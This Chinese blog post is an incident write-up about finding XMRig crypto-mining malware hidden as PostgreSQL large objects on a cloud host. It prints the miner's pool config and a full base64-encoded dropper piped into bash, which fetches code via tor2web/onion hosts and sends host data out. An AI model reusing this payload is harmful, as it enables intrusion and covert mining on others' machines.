PostgreSQL学徒

活久见,数据库里存病毒?

前言

今天下午在讲PGCE的时候,一位学员提了一个问题:"pg_dump -Fd dbname -j4 -f dump_dir,今天无意中发现有个 3116.dat.gz的文件"。因为我不常用Fd的格式,所以乍一看有点陌生。在后面摸索的过程中,居然发现了我的小破云主机被植入挖矿病毒,并且hacker十分狡猾将病毒存放在了数据库中!正所谓最危险的地方就是最安全的地方!一起看看这个有趣的案例 🤪🤪

现象

首先看一下"陌生"的pg_dump,因为个人习惯使然,我基本不用Fd的格式,日常都是使用Fp的格式,因为文本格式可以直接查看内容,也可以按需调整,最典型的例子就是实例迁移,但是用户名变了,导入的时候就会提示用户不存在,这个时候就可以直接sed一把梭全局替换就行了,十分便捷。

[postgres@xiongcc ~]$ pg_dump --help | grep -w 'format'
  -F, --format=c|d|t|p         output file format (custom, directory, tar,
                               plain-text format
  -S, --superuser=NAME         superuser user name to use in plain-text format

先看一下官网对于Fd的说明

Output a directory-format archive suitable for input into pg_restore. This will create a directory with one file for each table and blob being dumped, plus a so-called Table of Contents file describing the dumped objects in a machine-readable format that pg_restore can read. A directory format archive can be manipulated with standard Unix tools; for example, files in an uncompressed archive can be compressed with the gzip tool. This format is compressed by default and also supports parallel dumps.

每一个表对应一个文件,默认采用压缩,同时支持并行,目前也只有Fd支持并行,可能这便是Fd最大的优势了。pg_dump: error: parallel backup only supported by the directory format。

知晓了用法之后,我尝试复现了一下:pg_dump -Fd -j3 -d postgres -f mydump_dir,下面是导出的内容

[postgres@xiongcc ~]$ ll mydump_dir/
total 5276
-rw-rw-r-- 1 postgres postgres      25 May 29 17:33 3629.dat.gz
-rw-rw-r-- 1 postgres postgres      25 May 29 17:33 3630.dat.gz
-rw-rw-r-- 1 postgres postgres      25 May 29 17:33 3631.dat.gz
...
-rw-rw-r-- 1 postgres postgres    3725 May 29 17:33 blob_113650.dat.gz
-rw-rw-r-- 1 postgres postgres     900 May 29 17:33 blob_1468655.dat.gz
...
-rw-rw-r-- 1 postgres postgres     298 May 29 17:33 blobs.toc
-rw-rw-r-- 1 postgres postgres   24037 May 29 17:33 toc.dat

以数字开头的gz文件就是普通的数据导出文件,3634表示的dumpid,可以简单理解成内部导出这个文件的任务标识符。

[postgres@xiongcc mydump_dir]$ zmore 3634.dat.gz 
------> 3634.dat.gz <------
1       test
2       test
3       test
4       test
5       test
6       test
7       test
...

那这个BLOB是什么鬼?后面经过摸索,原来这个BLOB正是大对象!PostgreSQL中的大对象存放于pg_largeobject系统表中,每个大对象都分解成足够小的小段或者"页面"以便以行的形式存储 在pg_largeobject里。每页的数据定义为 LOBLKSIZE(目前是BLCKSZ/4或者通常是2K字节),pg_largeobject的每一行保存一个大对象的一个页面,从该对象内部的字节 偏移(pageno * LOBLKSIZE)开始。

而pg_largeobject_metadata则是记录了这些大对象的元信息,那让我们查看一下

postgres=# select * from pg_largeobject_metadata ;
   oid   | lomowner | lomacl 
---------+----------+--------
 2921418 |       10 | 
 1468655 |       10 | 
 3770189 |       10 | 
 2438889 |       10 | 
 6331622 |       10 | 
 5209756 |       10 | 
 8210803 |       10 | 
 2974638 |       10 | 
 5057085 |       10 | 
 8723378 |       10 | 
 6295318 |       10 | 
  113650 |       10 | 
(12 rows)

果然和导出的文件名对应上了!但是这台云主机上,我并没有导入过任何的大对象,为了一探究竟,让我们导出这些鬼玩意看一下是什么东西。写个简单的脚本全部导出

[postgres@xiongcc ~]$ cat dump_blob.sh 
#!/bin/bash
for dmp_blob in `psql -Aqt -c 'select oid from pg_largeobject_metadata'` 
do
        psql -Aqt -c "select lo_export('
$dmp_blob','/home/postgres/virus_$dmp_blob')"
done

[postgres@xiongcc ~]$ ll virus_*
-rw-r--r-- 1 postgres postgres   17000 May 29 19:24 virus_113650
-rw-r--r-- 1 postgres postgres    2911 May 29 19:24 virus_1468655
-rw-r--r-- 1 postgres postgres 2363684 May 29 19:24 virus_2438889
-rw-r--r-- 1 postgres postgres   17200 May 29 19:24 virus_2921418
-rw-r--r-- 1 postgres postgres    2911 May 29 19:24 virus_2974638
-rw-r--r-- 1 postgres postgres   17000 May 29 19:24 virus_3770189
-rw-r--r-- 1 postgres postgres   17000 May 29 19:24 virus_5057085
-rw-r--r-- 1 postgres postgres   17000 May 29 19:24 virus_5209756
-rw-r--r-- 1 postgres postgres   17712 May 29 19:24 virus_6295318
-rw-r--r-- 1 postgres postgres   17712 May 29 19:24 virus_6331622
-rw-r--r-- 1 postgres postgres   17200 May 29 19:24 virus_8210803
-rw-r--r-- 1 postgres postgres 2363684 May 29 19:24 virus_8723378

[postgres@xiongcc ~]$ file virus_2438889 
virus_2438889: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, stripped

可以看到这个文件是ELF,ELF 全称 Executable and Linkable Format,即可执行可链接文件格式。在 Linux 中,就是使用这种文件格式来存储一个可执行的应用程序,ELF包括可执行文件、可重定位文件(目标文件.o、静态库.a)、共享目标文件(动态库.so)、核心转储文件(core dump)等。

既然ELF分为这么多种,有必要再完善一下脚本获取一下ELF的详细信息

[postgres@xiongcc ~]$ cat dump_blob.sh 
#!/bin/bash

for dmp_blob in `psql -Aqt -c 'select oid from pg_largeobject_metadata'` 
do
        psql -Aqt -c "select lo_export('$dmp_blob','/home/postgres/virus_$dmp_blob')"
        dmp_info=`file /home/postgres/virus_$dmp_blob | cut -d ':' -f 2` 
        echo "$dmp_blob,$dmp_info" >> dmp_blob_info.txt
done

导出之后,看下是个什么玩意

[postgres@xiongcc ~]$ cat dmp_blob_info.txt 
2921418, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=5c3537f38e624b8177a53a07ec9ca6012e2471db, for GNU/Linux 3.2.0, not stripped
1468655, ASCII text
3770189, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=e4ac9fc051f1f5f94f4d1ddc3978b8ae0cc177ba, for GNU/Linux 3.2.0, not stripped
2438889, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, stripped
6331622, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=612fb2e11ae607047a9176348e6cfaec75fbf981, for GNU/Linux 3.2.0, not stripped
5209756, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=cc86505e2000b420214edf696dcba573e206a01b, for GNU/Linux 3.2.0, not stripped
8210803, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=5c3537f38e624b8177a53a07ec9ca6012e2471db, for GNU/Linux 3.2.0, not stripped
2974638, ASCII text
5057085, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=e4ac9fc051f1f5f94f4d1ddc3978b8ae0cc177ba, for GNU/Linux 3.2.0, not stripped
8723378, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, stripped
6295318, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=612fb2e11ae607047a9176348e6cfaec75fbf981, for GNU/Linux 3.2.0, not stripped
113650, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=cc86505e2000b420214edf696dcba573e206a01b, for GNU/Linux 3.2.0, not stripped

可以看到有一个纯文本文件,打开之后发现是json格式的文本,看样子像是配置文件,里面有一些关键的信息,比如URL:112.213.117.113:5926

[postgres@xiongcc ~]$ cat virus_1468655 | more
{
  "api": {
    "id": null,
    "worker-id": null
  },
  "http": {
    "enabled": false,
    "host": "127.0.0.1",
    "port": 0,
    "access-token": null,
    "restricted": true
  },
  "autosave": true,
  "background": true,
  "colors": true,
  "title": true,
  "randomx": {
    "init": -1,
    "init-avx2": 0,
    "mode": "auto",
    "1gb-pages": false,
    "rdmsr": true,
    "wrmsr": true,
    "cache_qos": false,
    "numa": true,
    "scratchpad_prefetch_mode": 1
  },
  "cpu": {
    "enabled": true,
    "huge-pages": true,
    "huge-pages-jit": false,
    "hw-aes": null,
    "priority": null,
    "memory-pool": true,
    "yield": true,
    "asm": true,
    "argon2-impl": null,
    "astrobwt-max-size": 550,
    "astrobwt-avx2": false,
    "argon2": [0, 2, 4, 6, 5, 7],
    "astrobwt": [0, 1, 2, 3, 4, 5, 6, 7],
    "cn": [
      [1, 0],
      [1, 2],
      [1, 4]
    ],
    "cn-heavy": [
      [1, 0],
      [1, 2]
    ],
    "cn-lite": [
      [1, 0],
      [1, 2],
      [1, 4],
      [1, 6],
      [1, 5],
      [1, 7]
    ],
    "cn-pico": [
      [2, 0],
      [2, 1],
      [2, 2],
      [2, 3],
      [2, 4],
      [2, 5],
      [2, 6],
      [2, 7]
    ],
    "cn/gpu": [0, 1, 2, 3, 4, 5, 6, 7],
    "cn/upx2": [
      [2, 0],
      [2, 1],
      [2, 2],
      [2, 3],
      [2, 4],
      [2, 5],
      [2, 6],
      [2, 7]
    ],
    "panthera": [0, 2, 4, 6],
    "rx": [0, 2, 4],
    "rx/arq": [0, 1, 2, 3, 4, 5, 6, 7],
    "rx/wow": [0, 2, 4, 6, 5, 7],
    "cn/0": false,
    "cn-lite/0": false,
    "rx/keva": "rx/wow"
  },
  "opencl": {
    "enabled": false,
    "cache": true,
    "loader": null,
    "platform": "AMD",
    "adl": true,
    "cn/0": false,
    "cn-lite/0": false,
    "panthera": false
  },
  "cuda": {
    "enabled": false,
    "loader": null,
    "nvml": true,
    "cn/0": false,
    "cn-lite/0": false,
    "astrobwt": false,
    "panthera": false
  },
  "log-file": null,
  "donate-level": 1,
  "donate-over-proxy": 1,
  "pools": [
    {
      "algo": null,
      "coin": null,
      "url": "112.213.117.113:5926",
      "user": "112.213.117.113:5926",
      "pass": "ppp",
      "rig-id": null,
      "nicehash": false,
      "keepalive": true,
      "enabled": true,
      "tls": true,
      "tls-fingerprint": null,
      "daemon": false,
      "socks5": null,
      "self-select": null,
      "submit-to-origin": false
    }
  ],
  "retries": 5,
  "retry-pause": 5,
  "print-time": 60,
  "health-print-time": 60,
  "dmi": true,
  "syslog": false,
  "tls": {
    "enabled": false,
    "protocols": null,
    "cert": "cert.pem",
    "cert_key": "cert_key.pem",
    "ciphers": null,
    "ciphersuites": null,
    "dhparam": null
  },
  "dns": {
    "ipv6": false,
    "ttl": 30
  },
  "user-agent": null,
  "verbose": 0,
  "watch": true,
  "rebench-algo": false,
  "bench-algo-time": 20,
  "algo-perf": {},
  "pause-on-battery": false,
  "pause-on-active": false
}

其他的则是一些可执行文件,都到这一步了,不妨加上可执行权限跑一下看看到底是何方妖孽

[postgres@xiongcc ~]$ chmod +x virus_2438889 
[postgres@xiongcc ~]$ ./virus_2438889 
[2022-05-29 19:44:04.713] unable to open "/home/postgres/config.json".
[2022-05-29 19:44:04.713] unable to open "/home/postgres/.xmrig.json".
[2022-05-29 19:44:04.713] unable to open "/home/postgres/.config/xmrig.json".

[2022-05-29 19:44:04.713] no valid configuration found, try https://xmrig.com/wizard

居然要找一个json的配置文件?莫非是刚刚前面那个文件?试试看

[postgres@xiongcc ~]$ cp virus_1468655 config.json
[postgres@xiongcc ~]$ ./virus_2438889

居然running起来了,并且top可以看到这个进程

[postgres@xiongcc ~]$ ps -ef | grep virus
postgres 24395     1 99 19:45 ?        00:00:51 ./virus_2438889
postgres 24474 19269  0 19:46 pts/5    00:00:00 grep --color=auto virus

[postgres@xiongcc ~]$ top -p 24395
top - 19:46:24 up 152 days,  9:33,  2 users,  load average: 2.91, 2.64, 2.21
Tasks:   1 total,   0 running,   1 sleeping,   0 stopped,   0 zombie
%Cpu(s):100.0 us,  0.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1883356 total,   331412 free,   192644 used,  1359300 buff/cache
KiB Swap:  4194300 total,  4124732 free,    69568 used.  1068492 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND                                                                                                             
24395 postgres  20   0   39812  18628      4 S 99.9  1.0   0:41.59 ./virus_2438889  

我去,我的CPU一下子就到了99.9%!小破云主机瞬间卡爆了... 同时这个程序还生成了下面这个文件

[postgres@xiongcc ~]$ cat .systemd-private-exxF58cF5HCJzXJryYKRWfPS1sMePNHa.sh 
#!/bin/bash
exec &>/dev/null
echo exxF58cF5HCJzXJryYKRWfPS1sMePNHa
echo ZXh4RjU4Y0Y1SENKelhKcnlZS1JXZlBTMXNNZVBOSGEKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAicDdmZnVqYmM2NWh6dXpyZ3R4eHZ0dXgyZTR3eHRiNzN0d2dyYXJjb2cydW16dmNwbXc0cWtyeWQiKQoKc29ja3ooKSB7Cm49KGRucy50d25pYy50dyBkb2gtY2guYmxhaGRucy5jb20gZG9oLWRlLmJsYWhkbnMuY29tIGRvaC1maS5ibGFoZG5zLmNvbSBkb2gtanAuYmxhaGRucy5jb20gZG9oLmxpIGRvaC5wdWIgZG9oLXNnLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgaHlkcmEucGxhbjktbnMxLmNvbSkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnE9JHtuWyQoKFJBTkRPTSUkeyNuW0BdfSkpXX0Kcz0kKCRjIGh0dHBzOi8vJHEvJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8dGFpbCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash

可以看到这是一串经过base64加密的脚本,解密一下

Image

十分明朗,脚本内容还是很清晰的,先从网上下载病毒文件,然后加入到定时任务中

$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r

百度搜了一下,这个病毒正是大名鼎鼎的tor2web。可以参照这两篇帖子:https://zhuanlan.zhihu.com/p/130707601、https://www.freebuf.com/articles/web/279000.html

Image

至此明了了,入侵者入侵了我这台小破云主机,并且居然还会用PostgreSQL的大对象将病毒文件导入到了数据库中,真是牛逼plus啊,迫不及待,用vacuumlo清理一下这些病毒。

不过话说话来,或许这是一名强大的精通多种主流数据库的hacker...甚是想认识一下

小结

不得不说,入侵者还是很鸡贼的,居然将病毒导入到了数据库中,而且是生疏的大对象操作,佩服佩服,我自认为很熟PostgreSQL了,万万没想到,居然选择导入到了数据库里,目瞪口呆目瞪口呆。所以云主机还是有必要定期调整ssh密码、网络安全组等,说不定哪天你就发现你的数据库里存放了一堆行走的挖矿病毒 😂

参考

https://github.com/tor2web/Tor2web

https://www.freebuf.com/articles/web/279000.html

https://zhuanlan.zhihu.com/p/130707601